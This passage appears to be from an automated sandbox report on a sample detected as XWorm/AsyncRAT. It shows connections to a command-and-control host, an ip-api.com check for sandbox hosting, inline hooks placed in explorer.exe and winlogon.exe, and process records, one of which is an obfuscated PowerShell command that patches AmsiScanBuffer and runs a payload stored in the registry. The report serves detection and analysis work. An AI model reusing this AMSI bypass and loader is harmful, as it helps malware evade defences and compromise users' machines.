Jul 2, 2024 00:33:00.875073910 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:33:01.153036118 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:33:01.275445938 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:33:12.057208061 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:33:12.366014004 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:33:12.975420952 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:33:12.990947962 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:33:12.990967989 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:33:12.990978956 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:33:13.525734901 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:33:13.526535988 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:33:13.531362057 CEST	36125	49731	147.185.221.20	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 00:31:03.803757906 CEST	50669	53	192.168.2.4	1.1.1.1
Jul 2, 2024 00:31:03.812812090 CEST	53	50669	1.1.1.1	192.168.2.4
Jul 2, 2024 00:31:05.656450033 CEST	61383	53	192.168.2.4	1.1.1.1
Jul 2, 2024 00:31:05.666660070 CEST	53	61383	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 2, 2024 00:31:03.803757906 CEST	192.168.2.4	1.1.1.1	0x4d65	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 00:31:05.656450033 CEST	192.168.2.4	1.1.1.1	0xd2ce	Standard query (0)	session-chief.gl.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 2, 2024 00:31:03.812812090 CEST	1.1.1.1	192.168.2.4	0x4d65	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jul 2, 2024 00:31:05.666660070 CEST	1.1.1.1	192.168.2.4	0xd2ce	No error (0)	session-chief.gl.at.ply.gg		147.185.221.20	A (IP address)	IN (0x0001)	false
Jul 2, 2024 00:31:19.449265003 CEST	1.1.1.1	192.168.2.4	0x2bd6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 2, 2024 00:31:19.449265003 CEST	1.1.1.1	192.168.2.4	0x2bd6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 2, 2024 00:31:31.893857956 CEST	1.1.1.1	192.168.2.4	0x8ca8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 2, 2024 00:31:31.893857956 CEST	1.1.1.1	192.168.2.4	0x8ca8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	208.95.112.1	80	6860	C:\Users\user\AppData\Local\Temp\x4host.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 00:31:03.826421976 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jul 2, 2024 00:31:04.292587996 CEST	175	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 22:31:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	18:30:56
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\x433.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\x433.exe"
Imagebase:	0x560000
File size:	780'288 bytes
MD5 hash:	148EC472DF90B0FB274C3CE2AD2E811F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	18:30:59
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\x4Shellcode.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x4Shellcode.exe"
Imagebase:	0x400000
File size:	749'056 bytes
MD5 hash:	851BE4E85B0F111883680E87099483A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	18:30:59
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\x4host.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\x4host.exe"
Imagebase:	0xfb0000
File size:	70'144 bytes
MD5 hash:	FD744070409A72B86CC2B344D1719B33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1707631721.0000000000FB2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1707631721.0000000000FB2000.00000002.00000001.01000000.00000007.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000002.2967434276.0000000003181000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\x4host.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\x4host.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\x4host.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	18:30:59
Start date:	01/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:rLleiAFHAZAE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OsygfxRUYuIQnc,[Parameter(Position=1)][Type]$MbVaDjEwaI)$reLCkliZwnS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+'l'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+'M'+'o'+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('My'+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'ate'+[Char](84)+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+'u'+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+','+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$reLCkliZwnS.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+'i'+'deByS'+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$reLCkliZwnS.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'deB'+'y'+''+'S'+'i'+[Char](103)+','+'N'+'ew'+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+','+'Vi'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$MbVaDjEwaI,$OsygfxRUYuIQnc).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+'i'+'me'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $reLCkliZwnS.CreateType();}$GGVrSjgYYZyVF=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+'e'+'m.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+'t.Wi'+[Char](110)+'32.'+'U'+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'eth'+'o'+''+[Char](100)+''+'s'+'');$VrBFKSFCQkTmpL=$GGVrSjgYYZyVF.GetMethod(''+'G'+''+[Char](101)+'tPr'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tYvGzbpkOpfGRXdvJJH=rLleiAFHAZAE @([String])([IntPtr]);$HEnSxsRJwrbfoKRDZnGDoe=rLleiAFHAZAE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BvRkuAkFmTg=$GGVrSjgYYZyVF.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'ul'+[Char](101)+'H'+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+[Char](110)+'e'+'l'+'32.'+[Char](100)+''+[Char](108)+''+'l'+'')));$JhuBDoUfjiRKob=$VrBFKSFCQkTmpL.Invoke($Null,@([Object]$BvRkuAkFmTg,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$XcIvzGHQpacLzdWNl=$VrBFKSFCQkTmpL.Invoke($Null,@([Object]$BvRkuAkFmTg,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$LyzHycQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JhuBDoUfjiRKob,$tYvGzbpkOpfGRXdvJJH).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$nrzKdroJBYOrdatEY=$VrBFKSFCQkTmpL.Invoke($Null,@([Object]$LyzHycQ,[Object](''+'A'+'msi'+[Char](83)+'ca'+[Char](110)+''+[Char](66)+'u'+[Char](102)+''+[Char](102)+'e'+'r'+'')));$GeTemELLqv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XcIvzGHQpacLzdWNl,$HEnSxsRJwrbfoKRDZnGDoe).Invoke($nrzKdroJBYOrdatEY,[uint32]8,4,[ref]$GeTemELLqv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$nrzKdroJBYOrdatEY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XcIvzGHQpacLzdWNl,$HEnSxsRJwrbfoKRDZnGDoe).Invoke($nrzKdroJBYOrdatEY,[uint32]8,0x20,[ref]$GeTemELLqv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](120)+''+'4'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	18:30:59
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	18:31:02
Start date:	01/07/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{ae1c0bda-3b65-4ccd-a1ee-0c799d56cbd6}
Imagebase:	0x7ff7699e0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	18:31:02
Start date:	01/07/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	18:31:02
Start date:	01/07/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	8
Start time:	18:31:03
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	18:31:03
Start date:	01/07/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	10
Start time:	18:31:05
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	18:31:06
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	18:31:06
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	13
Start time:	18:31:06
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	18:31:07
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	15
Start time:	18:31:07
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	16
Start time:	18:31:08
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	17
Start time:	18:31:09
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	18
Start time:	18:31:09
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	19
Start time:	18:31:10
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	20
Start time:	18:31:10
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	21
Start time:	18:31:10
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	22
Start time:	18:31:11
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	23
Start time:	18:31:11
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	24
Start time:	18:31:11
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	25
Start time:	18:31:11
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	26
Start time:	18:31:12
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	27
Start time:	18:31:12
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	28
Start time:	18:31:13
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	29
Start time:	18:31:13
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	30
Start time:	18:31:14
Start date:	01/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
